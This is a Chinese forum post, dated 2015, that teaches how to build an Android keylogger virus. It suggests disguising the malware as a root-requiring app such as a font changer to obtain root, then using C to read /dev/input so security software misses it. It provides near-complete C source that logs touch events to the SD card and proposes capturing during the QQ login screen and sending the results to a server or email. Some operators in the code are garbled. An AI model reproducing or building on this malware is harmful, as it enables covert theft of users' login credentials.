签到

05月05日
尚未签到

共有回帖数 0

    幻梦如戏

    等级:
    我们要写一个记录键盘输入屏幕记录状态。你不可能让别人去装个c4droid,也不可能让人家去安装你导出的终端程序吧?要想做一个完整的病毒,你需要NDK开发知识。我现在提供的只是一个方法,具体让病毒如何去实现,你就得放入你的程序中。
    安卓的上层是用JAVA写的,而底层则是用C来写的,而上层没有给C提供接口,既然这样,那么我们就直接用C去操作底层。所以,必须得有一个条件,那就是root,没有root的话不行,你可能会说那还有什么用?谁会无缘无故给你root?你可以换位思考一下,既然要root,那么我就写一个root的软件,比如更换字体等等的软件,在用户给root的时候,那你病毒就有机可呈了(咳咳,还是提醒,不良目的者绕道),这就是安卓的恐怖之住,大家使用其他软件也注意了。你可能还会有一个疑问,就是那我直接用JAVA写不更方便吗?不用root,有系统提供的API,用C语言不是多此一举?那你错了,你无缘无故去读取键盘记录,你当安全软件都是摆着而已吗?直接用JAVA安全软件必定会拦截。而用C语言不同,直接去操作底层系统文件,安全软件很难擦觉到(反正我试验了一下lbe是检测不出来的)

    安卓的触摸事件,还有按键事件是放在dev/input这个目录的,所以我们要操作的是这个目录的文件。其中我们输入的记录也会记录在里面,这时,我们就要写一个循环来不断的监听按键触发情况。
    看到dev/input这个文件夹,我们会看到 event*,mouse*,mice这些文件,同时我们也要注意这点,每个input里面的文件都不一样,有的有到event5,而且是event0,event1,event2,event3,mouse0,mice。每个手机的储存也不一样,大多数手机会储存在event0这个文件,只是大多数,有的不是。现在我们在c4droid上测试一下自己手机是哪个。
    写下面的测试程序,写完以后运行,然后会获取信息,这时你要不停的点击屏幕,看看会输出哪个的值,我是event3有变化,所以我手机需要读取event3。

    #include stdlib.h
    int main()
    {
    system("getevent -c 20");
    return 0;
    }
    这个方法只适用于测试,真正用户不会去点击给你知道的,那么我们要怎么办?
    那我们就需要写个DIR文件指针,然后把input文件夹写入到链表中,再写个线程自己写函数判断……(嗯。。。至于这个函数要怎么写呢,这步我思路就提供到这里,剩下的自己想,免得全部说出来有人拿去做坏事)

    OK,知道触摸事件是哪个文件之后,我们开始写读取函数。
    需要用到的头文件

    #include stdio.h
    #include stdlib.h
    #include time.h
    #include fcntl.h
    #include linux/input.h

    我们先来了解一下input_event的结构,

    struct input_event {
    struct timeval time; /*时间*/
    __u16 type; /*事件类型*/
    __u16 code; /*按键代码,在安卓上330为触屏,172菜单键,158返回键,其他按键1245也有对应值*/
    __s32 value; /*按键值,例如触摸坐标*,鼠标坐标*/
    };
    其实在终端模拟器下,你照样可以获取屏幕触摸坐标,你不要小看c4droid,不要小看控制台。
    再看看部分type值

    //EV_SYN同步事件
    //EV_KEY键盘事件
    //EV_REL相对坐标事件,用于鼠标
    //EV_ABS绝对坐标事件,用于摇杆
    //EV_MSC其他事件
    //EV_LEDLED灯事件
    //EV_SND声音事件
    //EV_REP重复按键事件
    //EV_FF受力事件
    //EV_PWR电源事件
    //EV_FF_STATUS受力状态事件

    关于type和code具体值请看头文件input.h

    我们把结果储存在SD卡EventRecord.txt中
    第一步,先写个记录时间函数,我们不用input_event里面提供的。

    /* 获取系统时间 */
    char *GetTime()
    {
    static char ch_time[40];
    time_t t;
    struct tm *nowtime;
    time(&t);
    nowtime = localtime(&t);
    strftime(ch_time, sizeof(ch_time), "触发时间:%Y-%m-%d %H:%M:%S",
    nowtime);
    return ch_time;
    }
    时间函数完成。

    第二步,开始读取

    /* 定义读取缓存 */
    #define BUFF 32

    /* 读取事件驱动返回结果 */
    static int fd = -1;
    /* 输入事件结构体 */
    struct input_event event[BUFF];

    /*更改权限*/
    system("su -c chmod 666 /dev/input/event3");
    fd = open("/dev/input/event3", O_RDWR);
    if (fd  0)
    {
    fputs("读取失败!n", fp);
    return -1;
    /* 读取失败直接结束 */
    }
    第三步,开始获取

    int readResult;
    /* 读取 */
    readResult = read(fd, event, sizeof(struct input_event) * BUFF);

    /*没有事件,直接返回*/
    if (readResult  sizeof(struct input_event))
    {
    return;
    }
    /*过滤手指抬起事件*/
    if (event[0].value == 0)
    {
    return;
    }

    发下7楼的图,忘了发了

    这样就完成了一个程序读取,我把它合并起来


    #include stdio.h
    #include stdlib.h
    #include time.h
    #include fcntl.h
    #include linux/input.h

    /* 定义读取缓存 */
    #define BUFF 32

    /* 记录 */
    static int RECORD = 1;
    /* 储存文件 */
    static FILE *fp;
    /* 读取事件驱动返回结果 */
    static int fd = -1;

    /* 输入事件结构体 */
    struct input_event event[BUFF];

    /* 获取系统时间 */
    char *GetTime()
    {
    static char ch_time[40];
    time_t t;
    struct tm *nowtime;
    time(&t);
    nowtime = localtime(&t);
    strftime(ch_time, sizeof(ch_time), "触发时间:%Y-%m-%d %H:%M:%S",nowtime);
    return ch_time;
    }

    void GetEvent()
    {
    int i, readResult;
    /* 读取 */
    readResult = read(fd, event, sizeof(struct input_event) * BUFF);
    if (readResult  sizeof(struct input_event))
    {
    return;
    }
    if (event[0].value == 0)
    {
    /* 过滤抬起事件 */
    return;
    }
    fputs(GetTime(), fp);
    fputs("n", fp);
    for (i = 0; i  readResult / sizeof(struct input_event); i++)
    {
    fscanf(fp, "Event%d:type: %3d code: %5d value: %5dn", &i,
    &event.type, &event.code, &event.value);

    fprintf(fp, "Event%d:type: %3d code: %5d value: %5dn", i,event.type, event.code, event.value);
    }
    }

    int main(int argc, char *argv[])
    {
    fp = fopen("/sdcard/EventRecord.txt", "wb");
    /*更改权限*/
    system("su -c chmod 666 /dev/input/event3");
    fd = open("/dev/input/event3", O_RDWR); //具体根据自己手机修改
    if (fd  0)
    {
    fputs("读取失败!n", fp);
    return -1;
    /* 读取失败直接结束 */
    }
    while (RECORD)
    {
    GetEvent();
    }
    close(fd);
    fclose(fp);
    return 0;
    }



    一个监控程序就完成了,我把RECORD设置为了1,程序会一直读取,这样产生的文件很大,我们也无法获取正确信息。真正病毒我们不能这样,上面做法我们只是用来测试,如果是真正病毒,我们需要调用上层JAVA来控制,我们如何去过滤用户的垃圾事件?剩下的就是交给JAVA了,我们要在上层监控用户状态,还有键盘状态,例如键盘是否处于展开(这个安全软件是不会报毒的),还有判断当前屏幕的Activity状态,例如处于QQ的登入Activity就开始记录,如果是处于聊天Activity,那么就没必要了。我们可以把结果发送到服务器,发送到自己邮件等等都可以,上面为了测试,我保存到了本地文件中。

    楼主 2015-07-30 21:30 回复

共有回帖数 0
  • 回 帖
  • 表情 图片 视频
  • 发表

登录直线网账号

Copyright © 2010~2015 直线网 版权所有,All Rights Reserved.沪ICP备10039589号 意见反馈 | 关于直线 | 版权声明 | 会员须知